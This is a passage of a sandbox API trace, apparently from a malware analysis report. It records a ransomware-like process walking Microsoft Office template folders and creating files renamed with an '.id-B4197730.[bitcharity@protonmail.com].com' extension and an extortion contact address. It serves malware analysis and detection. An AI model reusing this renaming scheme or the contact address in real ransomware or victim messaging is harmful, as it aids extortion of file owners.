(hObject=0xff0) returned 1 [0271.046] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.046] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\BZCARD11.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\bzcard11.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.046] CloseHandle (hObject=0xff0) returned 1 [0271.047] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.047] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\BZCARDHM.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\bzcardhm.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.048] CloseHandle (hObject=0xff0) returned 1 [0271.049] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.049] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\BZCD98SP.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\bzcd98sp.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.049] CloseHandle (hObject=0xff0) returned 1 [0271.050] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.051] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\BZCRD98.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\bzcrd98.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.051] CloseHandle (hObject=0xff0) returned 1 [0271.052] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.052] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\CALENDAR.DPV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\calendar.dpv.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.052] CloseHandle (hObject=0xff0) returned 1 [0271.053] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.053] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\CALHM.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\calhm.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.159] CloseHandle (hObject=0xff0) returned 1 [0273.068] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.068] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGLINACC.DPV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\dglinacc.dpv.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.338] CloseHandle (hObject=0x1114) returned 1 [0274.147] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.147] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\AUDIT_SEVERAL_OUTCOMES_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\audit_several_outcomes_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.147] CloseHandle (hObject=0x112c) returned 1 [0274.149] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.149] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CFF_HORIZONTAL_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\cff_horizontal_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.149] CloseHandle (hObject=0x112c) returned 1 [0274.150] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.150] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CFF_SHAREDPROCESS_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\cff_sharedprocess_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.150] CloseHandle (hObject=0x112c) returned 1 [0274.151] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.151] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CFF_SHAREDPROCESS_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\cff_sharedprocess_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.151] CloseHandle (hObject=0x112c) returned 1 [0274.152] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.152] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CFF_VERTICAL_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\cff_vertical_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.152] CloseHandle (hObject=0x112c) returned 1 [0274.153] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.153] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CFF_VERTICAL_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\cff_vertical_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.153] CloseHandle (hObject=0x112c) returned 1 [0274.154] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.154] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CHART_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\chart_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.154] CloseHandle (hObject=0x112c) returned 1 [0274.155] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.155] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CHART_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\chart_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.156] CloseHandle (hObject=0x112c) returned 1 [0274.156] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.157] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CHART_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\chart_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.157] CloseHandle (hObject=0x112c) returned 1 [0274.158] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.158] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CHART_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\chart_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.158] CloseHandle (hObject=0x112c) returned 1 [0274.159] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.159] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\COMOLE_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\comole_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.159] CloseHandle (hObject=0x112c) returned 1 [0274.161] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.161] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\COMOLE_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\comole_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.161] CloseHandle (hObject=0x112c) returned 1 [0274.162] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.162] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\COMOLE_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\comole_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.162] CloseHandle (hObject=0x112c) returned 1 [0274.163] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.163] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\COMOLE_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\comole_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.164] CloseHandle (hObject=0x112c) returned 1 [0274.165] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.165] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\COMPLN_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\compln_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.166] CloseHandle (hObject=0x112c) returned 1 [0274.167] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.167] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\COMPLN_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\compln_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.167] CloseHandle (hObject=0x112c) returned 1 [0274.168] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.168] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\COMPME_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\compme_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.168] CloseHandle (hObject=0x112c) returned 1 [0274.169] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.169] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\COMPME_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\compme_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.169] CloseHandle (hObject=0x112c) returned 1 [0274.170] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.170] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\COMPS_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\comps_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.171] CloseHandle (hObject=0x112c) returned 1 [0274.171] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.172] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\COMPS_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\comps_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.172] CloseHandle (hObject=0x112c) returned 1 [0274.173] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.173] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CONLOG_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\conlog_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.173] CloseHandle (hObject=0x112c) returned 1 [0274.175] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.175] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CONLOG_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\conlog_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.175] CloseHandle (hObject=0x112c) returned 1 [0274.176] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.176] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CONNEC_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\connec_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.177] CloseHandle (hObject=0x112c) returned 1 [0274.178] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.178] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CONNEC_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\connec_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.178] CloseHandle (hObject=0x112c) returned 1 [0274.186] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.186] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\CUBICL_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\cubicl_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff 